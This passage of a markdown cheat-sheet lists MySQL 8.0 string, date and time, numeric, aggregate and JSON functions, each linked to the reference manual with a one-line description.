- [CHARACTER_LENGTH()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_character-length){data-tooltip="Synonym for CHAR_LENGTH()"}
|
||||
- [CHAR_LENGTH()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_char-length){data-tooltip="Return number of characters in argument"}
|
||||
- [CONCAT()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_concat){data-tooltip="Return concatenated string"}
|
||||
- [CONCAT_WS()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_concat-ws){data-tooltip="Return concatenate with separator"}
|
||||
- [ELT()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_elt){data-tooltip="Return string at index number"}
|
||||
- [EXPORT_SET()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_export-set){data-tooltip="Return a string such that for every bit set in the value bits, you get an on string and for every unset bit, you get an off string"}
|
||||
- [FIELD()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_field){data-tooltip="Index (position) of first argument in subsequent arguments"}
|
||||
- [FIND_IN_SET()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_find-in-set){data-tooltip="Index (position) of first argument within second argument"}
|
||||
- [FORMAT()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_format){data-tooltip="Return a number formatted to specified number of decimal places"}
|
||||
- [FROM_BASE64()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_from-base64){data-tooltip="Decode base64 encoded string and return result"}
|
||||
- [HEX()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_hex){data-tooltip="Hexadecimal representation of decimal or string value"}
|
||||
- [INSERT()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_insert){data-tooltip="Insert substring at specified position up to specified number of characters"}
|
||||
- [INSTR()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_instr){data-tooltip="Return the index of the first occurrence of substring"}
|
||||
- [LCASE()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_lcase){data-tooltip="Synonym for LOWER()"}
|
||||
- [LEFT()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_left){data-tooltip="Return the leftmost number of characters as specified"}
|
||||
- [LENGTH()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_length){data-tooltip="Return the length of a string in bytes"}
|
||||
- [LIKE](https://dev.mysql.com/doc/refman/8.0/en/string-comparison-functions.html#operator_like){data-tooltip="Simple pattern matching"}
|
||||
- [LOAD_FILE()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_load-file){data-tooltip="Load the named file"}
|
||||
- [LOCATE()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_locate){data-tooltip="Return the position of the first occurrence of substring"}
|
||||
- [LOWER()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_lower){data-tooltip="Return the argument in lowercase"}
|
||||
- [LPAD()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_lpad){data-tooltip="Return the string argument, left-padded with the specified string"}
|
||||
- [LTRIM()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_ltrim){data-tooltip="Remove leading spaces"}
|
||||
- [MAKE_SET()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_make-set){data-tooltip="Return a set of comma-separated strings that have the corresponding bit in bits set"}
|
||||
- [MATCH](https://dev.mysql.com/doc/refman/8.0/en/fulltext-search.html#function_match){data-tooltip="Perform full-text search"}
|
||||
- [MID()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_mid){data-tooltip="Return a substring starting from the specified position"}
|
||||
- [NOT LIKE](https://dev.mysql.com/doc/refman/8.0/en/string-comparison-functions.html#operator_not-like){data-tooltip="Negation of simple pattern matching"}
|
||||
- [NOT REGEXP](https://dev.mysql.com/doc/refman/8.0/en/regexp.html#operator_not-regexp){data-tooltip="Negation of REGEXP"}
|
||||
- [OCT()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_oct){data-tooltip="Return a string containing octal representation of a number"}
|
||||
- [OCTET_LENGTH()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_octet-length){data-tooltip="Synonym for LENGTH()"}
|
||||
- [ORD()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_ord){data-tooltip="Return character code for leftmost character of the argument"}
|
||||
- [POSITION()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_position){data-tooltip="Synonym for LOCATE()"}
|
||||
- [QUOTE()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_quote){data-tooltip="Escape the argument for use in an SQL statement"}
|
||||
- [REGEXP](https://dev.mysql.com/doc/refman/8.0/en/regexp.html#operator_regexp){data-tooltip="Whether string matches regular expression"}
|
||||
- [REGEXP_INSTR()](https://dev.mysql.com/doc/refman/8.0/en/regexp.html#function_regexp-instr){data-tooltip="Starting index of substring matching regular expression"}
|
||||
- [REGEXP_LIKE()](https://dev.mysql.com/doc/refman/8.0/en/regexp.html#function_regexp-like){data-tooltip="Whether string matches regular expression"}
|
||||
- [REGEXP_REPLACE()](https://dev.mysql.com/doc/refman/8.0/en/regexp.html#function_regexp-replace){data-tooltip="Replace substrings matching regular expression"}
|
||||
- [REGEXP_SUBSTR()](https://dev.mysql.com/doc/refman/8.0/en/regexp.html#function_regexp-substr){data-tooltip="Return substring matching regular expression"}
|
||||
- [REPEAT()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_repeat){data-tooltip="Repeat a string the specified number of times"}
|
||||
- [REPLACE()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_replace){data-tooltip="Replace occurrences of a specified string"}
|
||||
- [REVERSE()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_reverse){data-tooltip="Reverse the characters in a string"}
|
||||
- [RIGHT()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_right){data-tooltip="Return the specified rightmost number of characters"}
|
||||
- [RLIKE](https://dev.mysql.com/doc/refman/8.0/en/regexp.html#operator_regexp){data-tooltip="Whether string matches regular expression"}
|
||||
- [RPAD()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_rpad){data-tooltip="Append string the specified number of times"}
|
||||
- [RTRIM()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_rtrim){data-tooltip="Remove trailing spaces"}
|
||||
- [SOUNDEX()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_soundex){data-tooltip="Return a soundex string"}
|
||||
- [SOUNDS LIKE](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#operator_sounds-like){data-tooltip="Compare sounds"}
|
||||
- [SPACE()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_space){data-tooltip="Return a string of the specified number of spaces"}
|
||||
- [STRCMP()](https://dev.mysql.com/doc/refman/8.0/en/string-comparison-functions.html#function_strcmp){data-tooltip="Compare two strings"}
|
||||
- [SUBSTR()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_substr){data-tooltip="Return the substring as specified"}
|
||||
- [SUBSTRING()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_substring){data-tooltip="Return the substring as specified"}
|
||||
- [SUBSTRING_INDEX()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_substring-index){data-tooltip="Return a substring from a string before the specified number of occurrences of the delimiter"}
|
||||
- [TO_BASE64()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_to-base64){data-tooltip="Return the argument converted to a base-64 string"}
|
||||
- [TRIM()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_trim){data-tooltip="Remove leading and trailing spaces"}
|
||||
- [UCASE()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_ucase){data-tooltip="Synonym for UPPER()"}
|
||||
- [UNHEX()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_unhex){data-tooltip="Return a string containing hex representation of a number"}
|
||||
- [UPPER()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_upper){data-tooltip="Convert to uppercase"}
|
||||
- [WEIGHT_STRING()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_weight-string){data-tooltip="Return the weight string for a string"}
|
||||
{.cols-2}
|
||||
|
||||
|
||||
|
||||
### Date and Time {.row-span-2}
|
||||
- [ADDDATE()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_adddate){data-tooltip="Add time values (intervals) to a date value"}
|
||||
- [ADDTIME()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_addtime){data-tooltip="Add time"}
|
||||
- [CONVERT_TZ()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_convert-tz){data-tooltip="Convert from one time zone to another"}
|
||||
- [CURDATE()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_curdate){data-tooltip="Return the current date"}
|
||||
- [CURRENT_DATE()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_current-date){data-tooltip="Synonyms for CURDATE()"}
|
||||
- [CURRENT_TIME()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_current-time){data-tooltip="Synonyms for CURTIME()"}
|
||||
- [CURRENT_TIMESTAMP()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_current-timestamp){data-tooltip="Synonyms for NOW()"}
|
||||
- [CURTIME()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_curtime){data-tooltip="Return the current time"}
|
||||
- [DATE()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_date){data-tooltip="Extract the date part of a date or datetime expression"}
|
||||
- [DATE_ADD()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_date-add){data-tooltip="Add time values (intervals) to a date value"}
|
||||
- [DATE_FORMAT()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_date-format){data-tooltip="Format date as specified"}
|
||||
- [DATE_SUB()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_date-sub){data-tooltip="Subtract a time value (interval) from a date"}
|
||||
- [DATEDIFF()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_datediff){data-tooltip="Subtract two dates"}
|
||||
- [DAY()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_day){data-tooltip="Synonym for DAYOFMONTH()"}
|
||||
- [DAYNAME()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_dayname){data-tooltip="Return the name of the weekday"}
|
||||
- [DAYOFMONTH()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_dayofmonth){data-tooltip="Return the day of the month (0-31)"}
|
||||
- [DAYOFWEEK()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_dayofweek){data-tooltip="Return the weekday index of the argument"}
|
||||
- [DAYOFYEAR()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_dayofyear){data-tooltip="Return the day of the year (1-366)"}
|
||||
- [EXTRACT()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_extract){data-tooltip="Extract part of a date"}
|
||||
- [FROM_DAYS()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_from-days){data-tooltip="Convert a day number to a date"}
|
||||
- [FROM_UNIXTIME()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_from-unixtime){data-tooltip="Format Unix timestamp as a date"}
|
||||
- [GET_FORMAT()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_get-format){data-tooltip="Return a date format string"}
|
||||
- [HOUR()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_hour){data-tooltip="Extract the hour"}
|
||||
- [LAST_DAY](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_last-day){data-tooltip="Return the last day of the month for the argument"}
|
||||
- [LOCALTIME()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_localtime){data-tooltip="Synonym for NOW()"}
|
||||
- [LOCALTIMESTAMP()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_localtimestamp){data-tooltip="Synonym for NOW()"}
|
||||
- [MAKEDATE()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_makedate){data-tooltip="Create a date from the year and day of year"}
|
||||
- [MAKETIME()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_maketime){data-tooltip="Create time from hour, minute, second"}
|
||||
- [MICROSECOND()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_microsecond){data-tooltip="Return the microseconds from argument"}
|
||||
- [MINUTE()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_minute){data-tooltip="Return the minute from the argument"}
|
||||
- [MONTH()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_month){data-tooltip="Return the month from the date passed"}
|
||||
- [MONTHNAME()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_monthname){data-tooltip="Return the name of the month"}
|
||||
- [NOW()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_now){data-tooltip="Return the current date and time"}
|
||||
- [PERIOD_ADD()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_period-add){data-tooltip="Add a period to a year-month"}
|
||||
- [PERIOD_DIFF()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_period-diff){data-tooltip="Return the number of months between periods"}
|
||||
- [QUARTER()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_quarter){data-tooltip="Return the quarter from a date argument"}
|
||||
- [SEC_TO_TIME()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_sec-to-time){data-tooltip="Converts seconds to 'hh:mm:ss' format"}
|
||||
- [SECOND()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_second){data-tooltip="Return the second (0-59)"}
|
||||
- [STR_TO_DATE()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_str-to-date){data-tooltip="Convert a string to a date"}
|
||||
- [SUBDATE()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_subdate){data-tooltip="Synonym for DATE_SUB() when invoked with three arguments"}
|
||||
- [SUBTIME()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_subtime){data-tooltip="Subtract times"}
|
||||
- [SYSDATE()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_sysdate){data-tooltip="Return the time at which the function executes"}
|
||||
- [TIME()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_time){data-tooltip="Extract the time portion of the expression passed"}
|
||||
- [TIME_FORMAT()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_time-format){data-tooltip="Format as time"}
|
||||
- [TIME_TO_SEC()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_time-to-sec){data-tooltip="Return the argument converted to seconds"}
|
||||
- [TIMEDIFF()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_timediff){data-tooltip="Subtract time"}
|
||||
- [TIMESTAMP()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_timestamp){data-tooltip="With a single argument, this function returns the date or datetime expression; with two arguments, the sum of the arguments"}
|
||||
- [TIMESTAMPADD()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_timestampadd){data-tooltip="Add an interval to a datetime expression"}
|
||||
- [TIMESTAMPDIFF()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_timestampdiff){data-tooltip="Subtract an interval from a datetime expression"}
|
||||
- [TO_DAYS()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_to-days){data-tooltip="Return the date argument converted to days"}
|
||||
- [TO_SECONDS()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_to-seconds){data-tooltip="Return the date or datetime argument converted to seconds since Year 0"}
|
||||
- [UNIX_TIMESTAMP()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_unix-timestamp){data-tooltip="Return a Unix timestamp"}
|
||||
- [UTC_DATE()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_utc-date){data-tooltip="Return the current UTC date"}
|
||||
- [UTC_TIME()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_utc-time){data-tooltip="Return the current UTC time"}
|
||||
- [UTC_TIMESTAMP()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_utc-timestamp){data-tooltip="Return the current UTC date and time"}
|
||||
- [WEEK()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_week){data-tooltip="Return the week number"}
|
||||
- [WEEKDAY()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_weekday){data-tooltip="Return the weekday index"}
|
||||
- [WEEKOFYEAR()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_weekofyear){data-tooltip="Return the calendar week of the date (1-53)"}
|
||||
- [YEAR()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_year){data-tooltip="Return the year"}
|
||||
- [YEARWEEK()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_yearweek){data-tooltip="Return the year and week"}
|
||||
- [GET_FORMAT()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_get-format){data-tooltip="'%m.%d.%Y'"}
|
||||
{.cols-2}
|
||||
|
||||
|
||||
|
||||
|
||||
### Numeric
|
||||
- [%, MOD](https://dev.mysql.com/doc/refman/8.0/en/arithmetic-functions.html#operator_mod){data-tooltip="Modulo operator"}
|
||||
- [*](https://dev.mysql.com/doc/refman/8.0/en/arithmetic-functions.html#operator_times){data-tooltip="Multiplication operator"}
|
||||
- [+](https://dev.mysql.com/doc/refman/8.0/en/arithmetic-functions.html#operator_plus){data-tooltip="Addition operator"}
|
||||
- [-](https://dev.mysql.com/doc/refman/8.0/en/arithmetic-functions.html#operator_minus){data-tooltip="Minus operator"}
|
||||
- [-](https://dev.mysql.com/doc/refman/8.0/en/arithmetic-functions.html#operator_unary-minus){data-tooltip="Change the sign of the argument"}
|
||||
- [/](https://dev.mysql.com/doc/refman/8.0/en/arithmetic-functions.html#operator_divide){data-tooltip="Division operator"}
|
||||
- [ABS()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_abs){data-tooltip="Return the absolute value"}
|
||||
- [ACOS()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_acos){data-tooltip="Return the arc cosine"}
|
||||
- [ASIN()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_asin){data-tooltip="Return the arc sine"}
|
||||
- [ATAN()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_atan){data-tooltip="Return the arc tangent"}
|
||||
- [ATAN2(), ATAN()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_atan2){data-tooltip="Return the arc tangent of the two arguments"}
|
||||
- [CEIL()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_ceil){data-tooltip="Return the smallest integer value not less than the argument"}
|
||||
- [CEILING()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_ceiling){data-tooltip="Return the smallest integer value not less than the argument"}
|
||||
- [CONV()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_conv){data-tooltip="Convert numbers between different number bases"}
|
||||
- [COS()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_cos){data-tooltip="Return the cosine"}
|
||||
- [COT()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_cot){data-tooltip="Return the cotangent"}
|
||||
- [CRC32()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_crc32){data-tooltip="Compute a cyclic redundancy check value"}
|
||||
- [DEGREES()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_degrees){data-tooltip="Convert radians to degrees"}
|
||||
- [DIV](https://dev.mysql.com/doc/refman/8.0/en/arithmetic-functions.html#operator_div){data-tooltip="Integer division"}
|
||||
- [EXP()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_exp){data-tooltip="Raise to the power of"}
|
||||
- [FLOOR()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_floor){data-tooltip="Return the largest integer value not greater than the argument"}
|
||||
- [LN()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_ln){data-tooltip="Return the natural logarithm of the argument"}
|
||||
- [LOG()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_log){data-tooltip="Return the natural logarithm of the first argument"}
|
||||
- [LOG10()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_log10){data-tooltip="Return the base-10 logarithm of the argument"}
|
||||
- [LOG2()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_log2){data-tooltip="Return the base-2 logarithm of the argument"}
|
||||
- [MOD()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_mod){data-tooltip="Return the remainder"}
|
||||
- [PI()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_pi){data-tooltip="Return the value of pi"}
|
||||
- [POW()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_pow){data-tooltip="Return the argument raised to the specified power"}
|
||||
- [POWER()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_power){data-tooltip="Return the argument raised to the specified power"}
|
||||
- [RADIANS()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_radians){data-tooltip="Return argument converted to radians"}
|
||||
- [RAND()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_rand){data-tooltip="Return a random floating-point value"}
|
||||
- [ROUND()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_round){data-tooltip="Round the argument"}
|
||||
- [SIGN()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_sign){data-tooltip="Return the sign of the argument"}
|
||||
- [SIN()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_sin){data-tooltip="Return the sine of the argument"}
|
||||
- [SQRT()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_sqrt){data-tooltip="Return the square root of the argument"}
|
||||
- [TAN()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_tan){data-tooltip="Return the tangent of the argument"}
|
||||
- [TRUNCATE()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_truncate){data-tooltip="Truncate to specified number of decimal places"}
|
||||
{.cols-2}
|
||||
|
||||
|
||||
|
||||
### Aggregate
|
||||
- [AVG()](https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_avg){data-tooltip="Return the average value of the argument"}
|
||||
- [BIT_AND()](https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_bit-and){data-tooltip="Return bitwise AND"}
|
||||
- [BIT_OR()](https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_bit-or){data-tooltip="Return bitwise OR"}
|
||||
- [BIT_XOR()](https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_bit-xor){data-tooltip="Return bitwise XOR"}
|
||||
- [COUNT()](https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_count){data-tooltip="Return a count of the number of rows returned"}
|
||||
- [COUNT(DISTINCT)](https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_count-distinct){data-tooltip="Return the count of a number of different values"}
|
||||
- [GROUP_CONCAT()](https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_group-concat){data-tooltip="Return a concatenated string"}
|
||||
- [JSON_ARRAYAGG()](https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_json-arrayagg){data-tooltip="Return result set as a single JSON array"}
|
||||
- [JSON_OBJECTAGG()](https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_json-objectagg){data-tooltip="Return result set as a single JSON object"}
|
||||
- [MAX()](https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_max){data-tooltip="Return the maximum value"}
|
||||
- [MIN()](https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_min){data-tooltip="Return the minimum value"}
|
||||
- [STD()](https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_std){data-tooltip="Return the population standard deviation"}
|
||||
- [STDDEV()](https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_stddev){data-tooltip="Return the population standard deviation"}
|
||||
- [STDDEV_POP()](https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_stddev-pop){data-tooltip="Return the population standard deviation"}
|
||||
- [STDDEV_SAMP()](https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_stddev-samp){data-tooltip="Return the sample standard deviation"}
|
||||
- [SUM()](https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_sum){data-tooltip="Return the sum"}
|
||||
- [VAR_POP()](https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_var-pop){data-tooltip="Return the population standard variance"}
|
||||
- [VAR_SAMP()](https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_var-samp){data-tooltip="Return the sample variance"}
|
||||
- [VARIANCE()](https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_variance){data-tooltip="Return the population standard variance"}
|
||||
{.cols-2}
|
||||
|
||||
|
||||
|
||||
|
||||
### JSON {.row-span-4}
|
||||
- [->](https://dev.mysql.com/doc/refman/8.0/en/json-search-functions.html#operator_json-column-path){data-tooltip="Return value from JSON column after evaluating path; equivalent to JSON_EXTRACT()."}
|
||||
- [->>](https://dev.mysql.com/doc/refman/8.0/en/json-search-functions.html#operator_json-inline-path){data-tooltip="Return value from JSON column after evaluating path and unquoting the result; equivalent to JSON_UNQUOTE(JSON_EXTRACT())."}
|
||||
- [JSON_ARRAY()](https://dev.mysql.com/doc/refman/8.0/en/json-creation-functions.html#function_json-array){data-tooltip="Create JSON array"}
|
||||
- [JSON_ARRAY_APPEND()](https://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html#function_json-array-append){data-tooltip="Append data to JSON document"}
|
||||
- [JSON_ARRAY_INSERT()](https://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html#function_json-array-insert){data-tooltip="Insert into JSON array"}
|
||||
- [JSON_CONTAINS()](https://dev.mysql.com/doc/refman/8.0/en/json-search-functions.html#function_json-contains){data-tooltip="Whether JSON document contains specific object at path"}
|
||||
- [JSON_CONTAINS_PATH()](https://dev.mysql.com/doc/refman/8.0/en/json-search-functions.html#function_json-contains-path){data-tooltip="Whether JSON document contains any data at path"}
|
||||
- [JSON_DEPTH()](https://dev.mysql.com/doc/refman/8.0/en/json-attribute-functions.html#function_json-depth){data-tooltip="Maximum depth of JSON document"}
|
||||
- [JSON_EXTRACT()](https://dev.mysql.com/doc/refman/8.0/en/json-search-functions.html#function_json-extract){data-tooltip="Return data from JSON document"}
|
||||
- [JSON_INSERT()](https://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html#function_json-insert){data-tooltip="Insert data into JSON document"}
|
||||
- [JSON_KEYS()](https://dev.mysql.com/doc/refman/8.0/en/json-search-functions.html#function_json-keys){data-tooltip="Array of keys from JSON document"}
|
||||
- [JSON_LENGTH()](https://dev.mysql.com/doc/refman/8.0/en/json-attribute-functions.html#function_json-length){data-tooltip="Number of elements in JSON document"}
|
||||
- [JSON_MERGE() (deprecated)](https://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html#function_json-merge){data-tooltip="Merge JSON documents, preserving duplicate keys. Deprecated synonym for JSON_MERGE_PRESERVE()"}
|
||||
- [JSON_MERGE_PATCH()](https://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html#function_json-merge-patch){data-tooltip="Merge JSON documents, replacing values of duplicate keys"}
|
||||
- [JSON_MERGE_PRESERVE()](https://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html#function_json-merge-preserve){data-tooltip="Merge JSON documents, preserving duplicate keys"}
|
||||
- [JSON_OBJECT()](https://dev.mysql.com/doc/refman/8.0/en/json-creation-functions.html#function_json-object){data-tooltip="Create JSON object"}
|
||||
- [JSON_OVERLAPS() (introduced 8.0.17)](https://dev.mysql.com/doc/refman/8.0/en/json-search-functions.html#function_json-overlaps){data-tooltip="Compares two JSON documents, returns TRUE (1) if these have any key-value pairs or array elements in common, otherwise FALSE (0)"}
|
||||
- [JSON_PRETTY()](https://dev.mysql.com/doc/refman/8.0/en/json-utility-functions.html#function_json-pretty){data-tooltip="Print a JSON document in human-readable format"}
|
||||
- [JSON_QUOTE()](https://dev.mysql.com/doc/refman/8.0/en/json-creation-functions.html#function_json-quote){data-tooltip="Quote JSON document"}
|
||||
- [JSON_REMOVE()](https://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html#function_json-remove){data-tooltip="Remove data from JSON document"}
|
||||
- [JSON_REPLACE()](https://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html#function_json-replace){data-tooltip="Replace values in JSON document"}
|
||||
- [JSON_SCHEMA_VALID() (introduced 8.0.17)](https://dev.mysql.com/doc/refman/8.0/en/json-validation-functions.html#function_json-schema-valid){data-tooltip="Validate JSON document against JSON schema; returns TRUE/1 if document validates against schema, or FALSE/0 if it does not"}
|
